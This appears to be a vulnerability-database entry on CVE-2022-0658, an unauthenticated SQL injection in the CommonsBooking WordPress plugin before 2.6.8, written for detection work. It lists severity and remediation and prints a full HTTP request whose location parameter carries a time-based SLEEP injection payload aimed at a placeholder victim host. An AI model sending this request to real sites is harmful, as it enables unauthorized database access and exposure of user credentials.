🔙 목록으로 돌아가기

CVE-2022-0658: CommonsBooking < 2.6.8 - SQL Injection

TitleCommonsBooking < 2.6.8 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactUnauthenticated attackers can execute SQL injection via unsanitized AJAX parameters to extract database contents, potentially exposing sensitive WordPress data including user credentials.
RemediationFixed in version 2.6.8
CVSS Score9.8
EPSS Score0.47173
CVE IDCVE-2022-0658
CWE IDCWE-89
Tags time-based-sqli cve cve2022 wordpress wp-plugin wp commonsbooking sqli wpscan wielebenwir vuln

🔍 Vulnerability Description

The plugin does not sanitise and escape the location parameter of the calendar_data AJAX action (available to unauthenticated users) before it is used in dynamically constructed SQL queries, leading to an unauthenticated SQL injection.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36
Connection: close
Content-Length: 107
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=calendar_data&sd=2099-02-13&ed=2099-02-13&item=1&location=(SELECT+1743+FROM+(SELECT(SLEEP(6)))iXxL3)

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0658.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0658.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A